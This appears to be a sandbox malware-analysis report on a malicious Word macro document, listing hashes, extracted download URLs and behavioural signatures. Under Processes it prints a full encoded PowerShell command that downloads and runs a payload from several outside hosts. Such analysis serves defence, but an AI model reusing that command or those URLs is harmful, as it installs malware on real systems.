Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
19/09/2024, 05:57
Behavioral task
behavioral1
Sample
eab65f72e19aa83d7d83ced33327bfd0_JaffaCakes118.doc
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
eab65f72e19aa83d7d83ced33327bfd0_JaffaCakes118.doc
Resource
win10v2004-20240802-en
General
-
Target
eab65f72e19aa83d7d83ced33327bfd0_JaffaCakes118.doc
-
Size
179KB
-
MD5
eab65f72e19aa83d7d83ced33327bfd0
-
SHA1
13a2f2d96165e1c0c78c7c45019daad417fc7088
-
SHA256
8573c35338d256c00f8807111d2736fac86afa7670f189c2c408a43752ecd8f0
-
SHA512
b4e22755cc7b1129c99a103acb8ea821646e65f0e322c3960d0ebcfb270660cf570b67c0ec072326ada0697271236e72f64a6661430ecb1952542aae6ce784bd
-
SSDEEP
1536:uasrbYasrb2rdi1Ir77zOH98Wj2gpng9+a93SGIRK9b/WYjd2LO6h/QC27TzvY:crfrzOH98ipgPSGYK9TngLOm27TzvY
Malware Config
Extracted
http://sasystemsuk.com/index_files/j9b/
https://case.gonukkad.com/sys-cache/fmC/
http://vandamebuilders.com/wp-includes/OEyjc9x/
https://nilinkeji.com/online/Dmz/
http://paganwitch.com/wp-admin/CmubpSk/
http://www.ekramco.ir/english/fn/
http://votesteve.us/closed_zone/Bk/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2296 2668 powershell.exe 30 -
Blocklisted process makes network request 6 IoCs
flow pid Process 5 2296 powershell.exe 8 2296 powershell.exe 10 2296 powershell.exe 12 2296 powershell.exe 15 2296 powershell.exe 17 2296 powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AF048300-3B43-4B2B-B8FF-A47EF40BE402}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\TypeLib\{AF048300-3B43-4B2B-B8FF-A47EF40BE402} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AF048300-3B43-4B2B-B8FF-A47EF40BE402}\2.0\HELPDIR WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\TypeLib WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AF048300-3B43-4B2B-B8FF-A47EF40BE402}\2.0\FLAGS\ = "6" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AF048300-3B43-4B2B-B8FF-A47EF40BE402} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2876 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2296 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2296 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2876 WINWORD.EXE 2876 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2876 wrote to memory of 2084 2876 WINWORD.EXE 34 PID 2876 wrote to memory of 2084 2876 WINWORD.EXE 34 PID 2876 wrote to memory of 2084 2876 WINWORD.EXE 34 PID 2876 wrote to memory of 2084 2876 WINWORD.EXE 34
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eab65f72e19aa83d7d83ced33327bfd0_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2084
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2296
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD5e3fe5045c2116de229857deabe35819a
SHA131392b527154627681953a61fad4fda28db1ee53
SHA25696e5b8b9d74d4357cf6873e6e55746d0332b113f18cb3ffd067bcf9217c698c2
SHA5120ed8fbee3e94ef467ca8618b8b2a1f295bb0cd73c038bf36a487b615e989eed8345985c8e28e2f2f7be4606edde0b71a9cb95ba2eb12b77a3c7a6cc959b3608d